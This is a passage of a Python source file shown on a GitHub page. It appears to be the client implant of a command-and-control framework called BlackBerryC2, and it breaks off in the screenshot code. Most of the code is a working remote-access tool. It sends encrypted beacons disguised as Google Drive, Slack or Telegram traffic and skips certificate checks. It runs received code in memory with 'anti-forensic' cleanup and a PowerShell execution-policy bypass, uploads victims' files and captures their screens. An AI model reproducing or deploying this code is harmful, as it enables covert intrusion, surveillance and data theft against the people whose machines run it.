-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathBlackBerryCHTTPs.py
More file actions
executable file
·1593 lines (1346 loc) · 57.9 KB
/
Copy pathBlackBerryCHTTPs.py
File metadata and controls
executable file
·1593 lines (1346 loc) · 57.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# BlackBerry HTTP/S Client
import socket, struct, sys, os, time, threading, getpass, subprocess, hashlib, signal, zlib, tempfile, platform, ssl, json, io, base64, shutil, uuid, random, argparse
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding, ec
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
import http.client
from queue import Queue, Empty
from collections import deque
import hmac as hmac_module
try:
import zstandard as zstd
ZSTD_AVAILABLE = True
except ImportError:
ZSTD_AVAILABLE = False
# ==================== CONFIGURACIÓN ====================
SERVER_HOST = "localhost"
SERVER_PORT = 8443 # Puerto del proxy HTTP/S
USE_HTTPS = None # True = HTTPS, False = HTTP, None = auto-detect
HMAC_PRE_SHARED_SECRET = b"BlackBerryC2-HMACSecret"
import threading as _thr
_seq_lock = _thr.Lock()
_seq_counter = 0
def _next_seq():
global _seq_counter
with _seq_lock:
n = _seq_counter
_seq_counter = (_seq_counter + 1) & 0xFFFFFFFFFFFFFFFF
return n
VERIFY_FINGERPRINT = False
EXPECTED_FINGERPRINT = ""
DAEMON_MODE = False
# Long-polling
LONG_POLL_TIMEOUT = 30
CLIENT_POLL_TIMEOUT = 35
ENABLE_COMPRESSION = True
COMPRESSION_LEVEL = 9
HEARTBEAT_INTERVAL = 160
AES_KEY_BYTES = 32
RECONNECT_DELAY = 5
EXEC_TIMEOUT = 120
HTTP_TIMEOUT = 30
CHUNK_SIZE = 64 * 1024
MAX_OUTPUT_SIZE = 1024 * 1024 * 100
LARGE_FILE_THRESHOLD = 1024 * 1024 * 1024
FILE_TIMEOUT_BASE = 90
FILE_TIMEOUT_PER_MB = 20
FILE_MAX_TIMEOUT = 7200
FILE_MIN_TIMEOUT = 45
DEBUG = False # Silencioso por defecto
# ── PERFIL DE TRÁFICO MALLEABLE ──────────────────────────────────────────────
# Configurable: "aws", "office365", "slack", "dropbox", "gdrive", "telegram"
# O ruta a un archivo JSON/YAML de perfil custom
C2_PROFILE = "gdrive" # ← Cambiado por payloadG al generar
try:
import os as _os, sys as _sys
_sys.path.insert(0, _os.path.dirname(_os.path.abspath(__file__)))
from bb_profiles import load_profile as _load_profile, build_client_headers
_PROFILE = _load_profile(C2_PROFILE)
_PROFILES_AVAILABLE = True
except Exception:
_PROFILES_AVAILABLE = False
_PROFILE = None
def build_client_headers(prof, sid="", extra=None):
h = {"X-Session-ID": sid, "User-Agent": "Mozilla/5.0", "Content-Type": "application/octet-stream"}
if extra: h.update(extra)
return h
# Endpoints: resueltos desde el perfil si está disponible
def _ep(task):
if _PROFILES_AVAILABLE and _PROFILE:
return _PROFILE.uri_for_task(task)
# Fallback hardcoded
_fallback = {
"handshake": ENDPOINT_HANDSHAKE,
"message": ENDPOINT_SYNC,
"polling": ENDPOINT_POLL,
"upload": ENDPOINT_FILE_UPLOAD,
"download": ENDPOINT_FILE_DOWNLOAD,
"file_transfer": ENDPOINT_FILE_UPLOAD,
}
return _fallback.get(task, ENDPOINT_SYNC)
# Mantener compatibilidad con código existente
ENDPOINT_HANDSHAKE = "/handshake"
ENDPOINT_SYNC = "/api/v1/sync"
ENDPOINT_POLL = "/bot/getUpdates"
ENDPOINT_FILE_UPLOAD = "/upload/drive/v3/files"
ENDPOINT_FILE_DOWNLOAD = "/drive/v3/files"
def log(msg):
if DEBUG:
print(f"[{time.strftime('%H:%M:%S')}] {msg}")
def calculate_file_timeout(file_size_bytes):
size_mb = file_size_bytes / (1024 * 1024)
timeout = FILE_TIMEOUT_BASE + (size_mb * FILE_TIMEOUT_PER_MB)
return max(FILE_MIN_TIMEOUT, min(timeout, FILE_MAX_TIMEOUT))
def format_bytes(bytes_count):
for unit in ['B', 'KB', 'MB', 'GB', 'TB']:
if bytes_count < 1024.0:
return f"{bytes_count:.2f} {unit}"
bytes_count /= 1024.0
return f"{bytes_count:.2f} PB"
def get_ecdhe_fingerprint(public_key_pem):
"""Calcula fingerprint SHA256 de la clave pública ECDHE."""
sha256_hash = hashlib.sha256(public_key_pem).hexdigest()
return ':'.join(sha256_hash[i:i+2] for i in range(0, len(sha256_hash), 2))
# ==================== EJECUCIÓN EN MEMORIA ====================
def execute_in_memory_robust(file_bytes, file_name="<received>"):
"""
Ejecución FILELESS anti-forense en memoria.
- Ejecuta en el mismo proceso (Python)
- Borra todo rastro de memoria después
- Sin archivos temporales
- Soporte multi-lenguaje interpretado
"""
import gc
ext = os.path.splitext(file_name)[1].lower()
# Interpretes soportados (solo lenguajes NO compilables)
interpreters = {
".py": ("python", ["python3", "-c"], False),
".py2": ("python2", ["python2", "-c"], False),
".sh": ("bash", ["bash", "-c"], False),
".bash": ("bash", ["bash", "-c"], False),
".pl": ("perl", ["perl", "-e"], False),
".rb": ("ruby", ["ruby", "-e"], False),
".php": ("php", ["php", "-r"], False),
".js": ("node", ["node", "-e"], False),
".lua": ("lua", ["lua", "-e"], False),
".awk": ("awk", ["awk"], False),
".r": ("r", ["Rscript", "-e"], False),
".R": ("r", ["Rscript", "-e"], False),
".ps1": ("powershell", ["pwsh", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command"], False),
".psm1": ("powershell", ["pwsh", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command"], False),
".zsh": ("zsh", ["zsh", "-c"], False),
".fish": ("fish", ["fish", "-c"], False),
".ksh": ("ksh", ["ksh", "-c"], False),
".csh": ("csh", ["csh", "-c"], False),
".tcsh": ("tcsh", ["tcsh", "-c"], False),
}
# Soporte para Windows
if platform.system() == "Windows":
interpreters[".ps1"] = ("powershell", ["powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command"], False)
interpreters[".psm1"] = ("powershell", ["powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command"], False)
if ext in interpreters:
lang_type, cmd_base, _ = interpreters[ext]
else:
lang_type, cmd_base = "bash", ["bash", "-c"]
try:
# Decodificar código
code_str = file_bytes.decode('utf-8', errors='replace')
# ========== EJECUCIÓN PYTHON EN EL MISMO PROCESO (FILELESS TOTAL) ==========
if lang_type in ("python", "python2"):
try:
# Crear namespace temporal aislado
temp_namespace = {
'__builtins__': __builtins__,
'__name__': '__main__',
'__file__': '<memory>',
}
# Capturar stdout/stderr
from io import StringIO
import sys
old_stdout = sys.stdout
old_stderr = sys.stderr
captured_out = StringIO()
captured_err = StringIO()
try:
sys.stdout = captured_out
sys.stderr = captured_err
# EJECUTAR EN MEMORIA (mismo proceso, sin subprocess)
exec(compile(code_str, '<memory>', 'exec'), temp_namespace)
finally:
sys.stdout = old_stdout
sys.stderr = old_stderr
# Obtener salida
stdout_data = captured_out.getvalue()
stderr_data = captured_err.getvalue()
output = (stdout_data + stderr_data).strip()
# LIMPIEZA ANTI-FORENSE
# Sobrescribir código en memoria antes de borrar
code_str = None
file_bytes = None
# Limpiar namespace temporal
for key in list(temp_namespace.keys()):
temp_namespace[key] = None
temp_namespace.clear()
# Limpiar capturas
captured_out.close()
captured_err.close()
# Forzar recolección de basura
gc.collect()
if not output:
output = "[Ejecutado exitosamente en memoria]"
return True, output
except SyntaxError as e:
return False, f"[ERROR] Sintaxis Python: {e}"
except Exception as e:
return False, f"[ERROR] Ejecución Python: {str(e)}"
# ========== OTROS LENGUAJES: STDIN PIPE (SIN ARCHIVOS TEMP) ==========
else:
try:
# Verificar disponibilidad del intérprete antes de ejecutar
if cmd_base:
try:
subprocess.run([cmd_base[0], "--version"],
capture_output=True, timeout=5)
except (FileNotFoundError, subprocess.TimeoutExpired):
# Intentar alternativas comunes
alternatives = {
"python3": ["python"],
"node": ["nodejs"],
"pwsh": ["powershell"],
}
if cmd_base[0] in alternatives:
for alt in alternatives[cmd_base[0]]:
try:
subprocess.run([alt, "--version"],
capture_output=True, timeout=5)
cmd_base[0] = alt
break
except:
continue
else:
return False, f"[ERROR] Intérprete no encontrado: {cmd_base[0]}"
else:
return False, f"[ERROR] Intérprete no encontrado: {cmd_base[0]}"
# Usar stdin para pasar el código (sin archivos)
if lang_type == "awk":
# AWK necesita el código como argumento
proc = subprocess.Popen(
["awk", code_str],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=False
)
else:
# La mayoría soporta -c/-e con stdin
proc = subprocess.Popen(
cmd_base + [code_str],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=False,
close_fds=True # Cerrar file descriptors para no dejar rastro
)
# Ejecutar con timeout
try:
stdout_data, stderr_data = proc.communicate(timeout=EXEC_TIMEOUT)
except subprocess.TimeoutExpired:
proc.kill()
stdout_data, stderr_data = proc.communicate()
# LIMPIEZA
code_str = None
file_bytes = None
gc.collect()
return False, f"[TIMEOUT] Ejecución excedió {EXEC_TIMEOUT}s"
# Procesar salida
stdout_text = stdout_data.decode('utf-8', errors='replace')
stderr_text = stderr_data.decode('utf-8', errors='replace')
output = (stdout_text + stderr_text).strip()
# LIMPIEZA ANTI-FORENSE
code_str = None
file_bytes = None
stdout_data = None
stderr_data = None
gc.collect()
if not output:
output = f"[Ejecutado. Código: {proc.returncode}]"
return True, output
except FileNotFoundError:
return False, f"[ERROR] Intérprete no encontrado: {cmd_base[0]}"
except Exception as e:
# Limpieza en caso de error
code_str = None
file_bytes = None
gc.collect()
return False, f"[ERROR] Ejecución: {str(e)}"
except Exception as e:
# Limpieza final en cualquier error
try:
code_str = None
file_bytes = None
gc.collect()
except:
pass
return False, f"[ERROR] Fallo crítico: {str(e)}"
# ==================== CLIENTE HTTP/HTTPS AUTO ====================
class BlackBerryHTTPClient:
def __init__(self, host, port, use_https=None):
self.host = host
self.port = port
self.use_https = use_https
self.aes_key = None
self.connected = False
self.lock = threading.Lock()
self.response_queue = Queue()
self.file_transfer_active = False
self.file_transfer_lock = threading.Lock()
# ===== UUID ÚNICO POR INSTANCIA =====
self.session_id = str(uuid.uuid4())
log(f"Session UUID generado: {self.session_id}")
if self.use_https is None:
self.use_https = self._auto_detect_protocol()
protocol = "HTTPS" if self.use_https else "HTTP"
log(f"Protocolo auto-detectado: {protocol}")
def _auto_detect_protocol(self):
"""Auto-detecta si el servidor usa HTTPS o HTTP."""
log("Detectando protocolo...")
# Intentar HTTPS primero
try:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((self.host, self.port), timeout=3) as sock:
with context.wrap_socket(sock, server_hostname=self.host) as ssock:
ssock.sendall(b"GET / HTTP/1.0\r\n\r\n")
response = ssock.recv(100)
if b"HTTP" in response:
log("[+] HTTPS detectado")
return True
except:
pass
# Intentar HTTP
try:
with socket.create_connection((self.host, self.port), timeout=3) as sock:
sock.sendall(b"GET / HTTP/1.0\r\n\r\n")
response = sock.recv(100)
if b"HTTP" in response:
log("[+] HTTP detectado")
return False
except:
pass
log("⚠ No se pudo detectar protocolo, usando HTTP")
return False
def _create_connection(self, timeout=HTTP_TIMEOUT):
"""Crea nueva conexión HTTP o HTTPS."""
try:
if self.use_https:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(
self.host,
self.port,
timeout=timeout,
context=context
)
else:
conn = http.client.HTTPConnection(
self.host,
self.port,
timeout=timeout
)
conn.connect()
return conn
except Exception as e:
log(f"Error creando conexión: {e}")
return None
def _http_request(self, endpoint, data, retry=3, timeout=HTTP_TIMEOUT):
"""Hace un POST HTTP/HTTPS a un endpoint específico."""
for attempt in range(retry):
conn = None
try:
conn = self._create_connection(timeout)
if not conn:
continue
# ===== HEADERS CON PERFIL MALLEABLE =====
_raw_data = data
_ct = 'application/octet-stream'
if _PROFILES_AVAILABLE and _PROFILE:
_raw_data, _ct = _PROFILE.wrap_data_client(data)
headers = build_client_headers(_PROFILE, self.session_id, {
'Content-Type': _ct,
'Content-Length': str(len(_raw_data)),
'Connection': 'close',
})
else:
headers = {
'X-Session-ID': self.session_id,
'Content-Type': _ct,
'Content-Length': str(len(_raw_data)),
'Connection': 'close',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
conn.request('POST', endpoint, body=_raw_data, headers=headers)
response = conn.getresponse()
if response.status != 200:
log(f"HTTP {response.status}: {response.reason} en {endpoint}")
if attempt < retry - 1:
time.sleep(0.5)
continue
return None
body = response.read()
# Desempaquetar según perfil (json_field → extraer bytes)
if _PROFILES_AVAILABLE and _PROFILE:
ct = response.getheader("Content-Type", "")
body = _PROFILE.unwrap_data_client(body, ct)
return body
except http.client.RemoteDisconnected:
log(f"Conexión cerrada (intento {attempt + 1}/{retry})")
if attempt < retry - 1:
time.sleep(0.5)
continue
return None
except Exception as e:
log(f"Error en {endpoint} (intento {attempt + 1}/{retry}): {e}")
if attempt < retry - 1:
time.sleep(0.5)
continue
return None
finally:
if conn:
try:
conn.close()
except:
pass
return None
def connect(self):
"""Handshake ECDHE + HMAC de 2 fases usando /handshake."""
try:
if not DAEMON_MODE:
log("═" * 50)
log("Iniciando handshake ECDHE...")
log("═" * 50)
# FASE 1: REQUEST_PUBKEY → recibir ECDH pública del servidor
if not DAEMON_MODE:
log("Fase 1: Solicitando clave ECDH del servidor...")
response = self._http_request(_ep('handshake'), b'REQUEST_PUBKEY')
if not response:
if not DAEMON_MODE:
log("✗ ERROR: Sin respuesta del servidor")
return False
if not response.startswith(b'ECDH_PUBKEY:'):
if not DAEMON_MODE:
log(f"✗ ERROR: Respuesta inválida: {response[:50]}")
return False
server_ecdh_pub_pem = response[len(b'ECDH_PUBKEY:'):]
if not DAEMON_MODE:
log(f"[+] Clave ECDH recibida ({len(server_ecdh_pub_pem)} bytes)")
try:
server_ecdh_pub = serialization.load_pem_public_key(server_ecdh_pub_pem)
except Exception as e:
if not DAEMON_MODE:
log(f"✗ ERROR: Clave ECDH inválida: {e}")
return False
# Verificar fingerprint ECDHE si está habilitado
if VERIFY_FINGERPRINT:
server_fingerprint = get_ecdhe_fingerprint(server_ecdh_pub_pem)
if not DAEMON_MODE:
log(f"[*] Fingerprint servidor ECDHE: {server_fingerprint}")
if server_fingerprint.lower() != EXPECTED_FINGERPRINT.lower():
if not DAEMON_MODE:
log("[!] Fingerprint ECDHE no coincide. Abortando.")
return False
if not DAEMON_MODE:
log("[+] Fingerprint ECDHE verificado correctamente")
# FASE 2: ECDHE key exchange + HMAC
if not DAEMON_MODE:
log("Fase 2: ECDHE key exchange + HMAC authentication...")
# Generar par ECDH efímero del cliente
client_ecdh_private = ec.generate_private_key(ec.SECP256R1())
client_ecdh_public_pem = client_ecdh_private.public_key().public_bytes(
serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo
)
# Calcular secreto compartido ECDH
shared_secret = client_ecdh_private.exchange(ec.ECDH(), server_ecdh_pub)
# Derivar clave AES-256 con HKDF
aes_key = HKDF(
algorithm=hashes.SHA256(),
length=32,
salt=None,
info=b'BlackBerryC2_AES_KEY',
).derive(shared_secret)
if not DAEMON_MODE:
log("[*] Secreto compartido calculado via ECDHE")
log("[*] Clave AES-256 derivada con HKDF")
# Calcular HMAC de autenticación
hmac_tag = hmac_module.new(
HMAC_PRE_SHARED_SECRET, shared_secret, hashlib.sha256
).digest()
if not DAEMON_MODE:
log("[*] HMAC de autenticación generado")
# Enviar: [4 bytes longitud PEM] + [PEM del cliente] + [32 bytes HMAC]
aes_packet = struct.pack('!I', len(client_ecdh_public_pem)) + client_ecdh_public_pem + hmac_tag
if not DAEMON_MODE:
log(f" Enviando ECDH pubkey + HMAC ({len(aes_packet)} bytes)...")
response = self._http_request(_ep('handshake'), aes_packet)
if response == b'OK':
with self.lock:
self.aes_key = aes_key
self.connected = True
if not DAEMON_MODE:
log("[+] Handshake ECDHE + HMAC completado!")
log(f"[+] Session ID: {self.session_id[:8]}...")
protocol = "HTTPS" if self.use_https else "HTTP"
log(f"[+] Canal seguro establecido ({protocol} + AES-256-GCM + Perfect Forward Secrecy)")
log("═" * 50)
return True
else:
if not DAEMON_MODE:
log(f"[!] ERROR: Respuesta inesperada: {response}")
return False
except Exception as e:
if not DAEMON_MODE:
log(f"[!] ERROR CRÍTICO en handshake: {e}")
import traceback
traceback.print_exc()
return False
def _encrypt_message(self, plaintext):
"""Wire: [4:len][8:seq][1:flag][12:nonce][ciphertext][32:HMAC] — compatible b.py"""
try:
pb = plaintext.encode('utf-8') if isinstance(plaintext, str) else plaintext
flag, payload = 0, pb
if ENABLE_COMPRESSION and len(pb) > 100:
try:
c2 = zlib.compress(pb, level=COMPRESSION_LEVEL)
if len(c2) < len(pb): payload, flag = c2, 1
except: pass
with self.lock:
if not self.aes_key: return None
nonce = os.urandom(12)
cipher = AESGCM(self.aes_key).encrypt(nonce, payload, None)
seq = struct.pack('!Q', _next_seq())
htag = hmac_module.new(self.aes_key, seq+nonce+cipher, hashlib.sha256).digest()
msg = seq + bytes([flag]) + nonce + cipher + htag
return struct.pack('!I', len(msg)) + msg
except Exception as e:
log(f"Error cifrando mensaje: {e}")
return None
def _encrypt_chunk(self, chunk, use_zstd=False):
"""Wire: [4:len][8:seq][1:flag][12:nonce][ciphertext][32:HMAC] — compatible b.py"""
try:
flag, payload = 0, chunk
if use_zstd and ZSTD_AVAILABLE:
try:
c2 = zstd.ZstdCompressor(level=3).compress(chunk)
if len(c2) < len(chunk): payload, flag = c2, 2
except: pass
elif ENABLE_COMPRESSION:
try:
c2 = zlib.compress(chunk, level=COMPRESSION_LEVEL)
if len(c2) < len(chunk): payload, flag = c2, 1
except: pass
with self.lock:
if not self.aes_key: return None
nonce = os.urandom(12)
cipher = AESGCM(self.aes_key).encrypt(nonce, payload, None)
seq = struct.pack('!Q', _next_seq())
htag = hmac_module.new(self.aes_key, seq+nonce+cipher, hashlib.sha256).digest()
msg = seq + bytes([flag]) + nonce + cipher + htag
return struct.pack('!I', len(msg)) + msg
except: return None
def _decrypt_message(self, data):
"""Wire: [4:len][8:seq][1:flag][12:nonce][ciphertext][32:HMAC] — compatible b.py"""
try:
if not data or len(data) < 4: return None
msg_len = struct.unpack('!I', data[:4])[0]
if msg_len == 0 or len(data) < 4 + msg_len: return None
pkt = data[4:4 + msg_len]
if len(pkt) < 53: return None # 8+1+12+0+32
seq = pkt[0:8]
flag = pkt[8]
nonce = pkt[9:21]
htag = pkt[-32:]
ciph = pkt[21:-32]
with self.lock:
if not self.aes_key: return None
if not hmac_module.compare_digest(
htag, hmac_module.new(self.aes_key, seq+nonce+ciph, hashlib.sha256).digest()):
return None
pb = AESGCM(self.aes_key).decrypt(nonce, ciph, None)
if flag == 1: pb = zlib.decompress(pb)
elif flag == 2:
if ZSTD_AVAILABLE: pb = zstd.ZstdDecompressor().decompress(pb)
else: return None
return pb.decode('utf-8', errors='replace')
except: return None
def _decrypt_chunk(self, data):
"""Descifra un chunk de archivo."""
try:
if not data or len(data) < 4:
return None
msg_len = struct.unpack('!I', data[:4])[0]
if msg_len == 0 or len(data) < 4 + msg_len:
return None
packet = data[4:4 + msg_len]
if len(packet) < 13:
return None
flag = packet[0]
nonce = packet[1:13]
ciphertext = packet[13:]
with self.lock:
if not self.aes_key:
return None
aesgcm = AESGCM(self.aes_key)
plaintext_bytes = aesgcm.decrypt(nonce, ciphertext, None)
if flag == 1:
plaintext_bytes = zlib.decompress(plaintext_bytes)
elif flag == 2:
if ZSTD_AVAILABLE:
dctx = zstd.ZstdDecompressor()
plaintext_bytes = dctx.decompress(plaintext_bytes)
else:
return None
return plaintext_bytes
except:
return None
def send_message(self, message):
"""Envía un mensaje cifrado usando /api/v1/sync."""
try:
encrypted = self._encrypt_message(message)
if not encrypted:
return False
response = self._http_request(_ep('message'), encrypted)
return response is not None
except Exception as e:
log(f"Error enviando mensaje: {e}")
return False
def receive_message(self):
"""Recibe un mensaje con LONG-POLLING (espera hasta 30s)."""
try:
encrypted_poll = self._encrypt_message("LONG_POLL")
if not encrypted_poll:
return None
# Long-polling: timeout extendido
response = self._http_request(
_ep('polling'),
encrypted_poll,
retry=1,
timeout=CLIENT_POLL_TIMEOUT
)
if not response or len(response) < 4:
return None
msg_len = struct.unpack('!I', response[:4])[0]
if msg_len == 0:
return None
message = self._decrypt_message(response)
return message
except Exception as e:
return None
def send_file_to_server(self, file_path):
"""Envía un archivo al servidor (GET_FILE)."""
try:
if not os.path.isfile(file_path):
self.send_message(f"[ERROR] Archivo no encontrado: {file_path}")
return False
file_size = os.path.getsize(file_path)
timeout = calculate_file_timeout(file_size)
use_zstd = file_size >= LARGE_FILE_THRESHOLD and ZSTD_AVAILABLE
log(f"Enviando archivo: {file_path} ({format_bytes(file_size)})")
sha = hashlib.sha256()
with open(file_path, 'rb') as f:
for chunk in iter(lambda: f.read(CHUNK_SIZE), b''):
sha.update(chunk)
file_hash = sha.hexdigest()
header = f"SIZE {file_size} {file_hash}"
if not self.send_message(header):
log("Error enviando header de archivo")
return False
chunks_sent = 0
bytes_sent = 0
with open(file_path, 'rb') as f:
while True:
chunk = f.read(CHUNK_SIZE)
if not chunk:
break
encrypted_chunk = self._encrypt_chunk(chunk, use_zstd)
if not encrypted_chunk:
log("Error cifrando chunk")
return False
response = self._http_request(
_ep('upload'),
encrypted_chunk,
timeout=timeout
)
if response is None:
log("Error enviando chunk")
return False
chunks_sent += 1
bytes_sent += len(chunk)
if chunks_sent % 10 == 0:
progress = (bytes_sent / file_size) * 100
log(f"Progreso: {progress:.1f}% ({format_bytes(bytes_sent)})")
log(f"[+] Archivo enviado: {chunks_sent} chunks, {format_bytes(bytes_sent)}")
return True
except Exception as e:
log(f"Error enviando archivo: {e}")
self.send_message(f"[ERROR] Fallo al enviar archivo: {e}")
return False
def send_raw_encrypted_data(self, encrypted_data):
"""Envía datos ya encriptados al servidor (para screenshot)."""
try:
response = self._http_request(
_ep('upload'),
encrypted_data,
timeout=60
)
return response is not None
except Exception as e:
log(f"Error enviando datos encriptados: {e}")
return False
def receive_file(self, header_msg):
"""Recibe un archivo del servidor (SIZE header -> chunks -> PUT_FILE)."""
try:
parts = header_msg.split()
file_size = int(parts[1])
expected_hash = parts[2]
timeout = calculate_file_timeout(file_size)
use_zstd = file_size >= LARGE_FILE_THRESHOLD and ZSTD_AVAILABLE
log(f"Recibiendo archivo: {format_bytes(file_size)}")
file_data = b''
sha = hashlib.sha256()
while len(file_data) < file_size:
encrypted_poll = self._encrypt_message("FILE_CHUNK")
if not encrypted_poll:
return None
response = self._http_request(
_ep('download'),
encrypted_poll,
retry=1,
timeout=timeout
)
if not response or len(response) < 4:
log("Error recibiendo chunk")
return None
chunk = self._decrypt_chunk(response)
if chunk is None:
log("Error descifrando chunk")
return None
file_data += chunk
sha.update(chunk)
progress = (len(file_data) / file_size) * 100
if int(progress) % 10 == 0:
log(f"Progreso: {progress:.1f}%")
if sha.hexdigest() != expected_hash:
self.send_message("[ERROR] Fallo de integridad del archivo")
return None
put_cmd = self.receive_message()
if not put_cmd or not put_cmd.startswith("PUT_FILE"):
return None
log(f"[+] Archivo recibido: {format_bytes(file_size)}")
return file_data, put_cmd
except Exception as e:
log(f"Error recibiendo archivo: {e}")
return None
def is_connected(self):
with self.lock:
return self.connected
def disconnect(self):
with self.lock:
self.connected = False
self.aes_key = None
# ==================== CAPTURA DE PANTALLA ====================
def capture_screenshot():
"""
Captura la pantalla usando métodos nativos del sistema operativo.
Retorna los bytes de la imagen en formato BMP/PNG sin guardar archivos.
"""
system = sys.platform
try:
if system == 'win32':
return _capture_screenshot_windows()
elif system.startswith('linux'):
return _capture_screenshot_linux()
elif system == 'darwin':
return _capture_screenshot_macos()
else:
return None
except Exception:
return None
def _capture_screenshot_windows():
"""Captura en Windows usando ctypes + GDI32"""
try:
import ctypes
from ctypes import windll, byref, c_int, Structure, POINTER
from ctypes.wintypes import BYTE, WORD, DWORD, LONG, HANDLE
class BITMAPINFOHEADER(Structure):
_fields_ = [
('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG),
('biPlanes', WORD), ('biBitCount', WORD), ('biCompression', DWORD),
('biSizeImage', DWORD), ('biXPelsPerMeter', LONG),
('biYPelsPerMeter', LONG), ('biClrUsed', DWORD), ('biClrImportant', DWORD)
]
class BITMAPINFO(Structure):
_fields_ = [('bmiHeader', BITMAPINFOHEADER), ('bmiColors', DWORD * 3)]
user32 = windll.user32
gdi32 = windll.gdi32
screen_width = user32.GetSystemMetrics(0)
screen_height = user32.GetSystemMetrics(1)
hdc_screen = user32.GetDC(0)
hdc_mem = gdi32.CreateCompatibleDC(hdc_screen)
hbitmap = gdi32.CreateCompatibleBitmap(hdc_screen, screen_width, screen_height)
gdi32.SelectObject(hdc_mem, hbitmap)
gdi32.BitBlt(hdc_mem, 0, 0, screen_width, screen_height, hdc_screen, 0, 0, 0x00CC0020)
bmi = BITMAPINFO()
bmi.bmiHeader.biSize = ctypes.sizeof(BITMAPINFOHEADER)
bmi.bmiHeader.biWidth = screen_width
bmi.bmiHeader.biHeight = -screen_height
bmi.bmiHeader.biPlanes = 1
bmi.bmiHeader.biBitCount = 24
bmi.bmiHeader.biCompression = 0
bitmap_size = screen_width * screen_height * 3
bitmap_data = (BYTE * bitmap_size)()
gdi32.GetDIBits(hdc_mem, hbitmap, 0, screen_height, bitmap_data, byref(bmi), 0)
gdi32.DeleteObject(hbitmap)
gdi32.DeleteDC(hdc_mem)
user32.ReleaseDC(0, hdc_screen)
return _create_bmp_from_rgb(bytes(bitmap_data), screen_width, screen_height)
except Exception:
return None
def _capture_screenshot_linux():
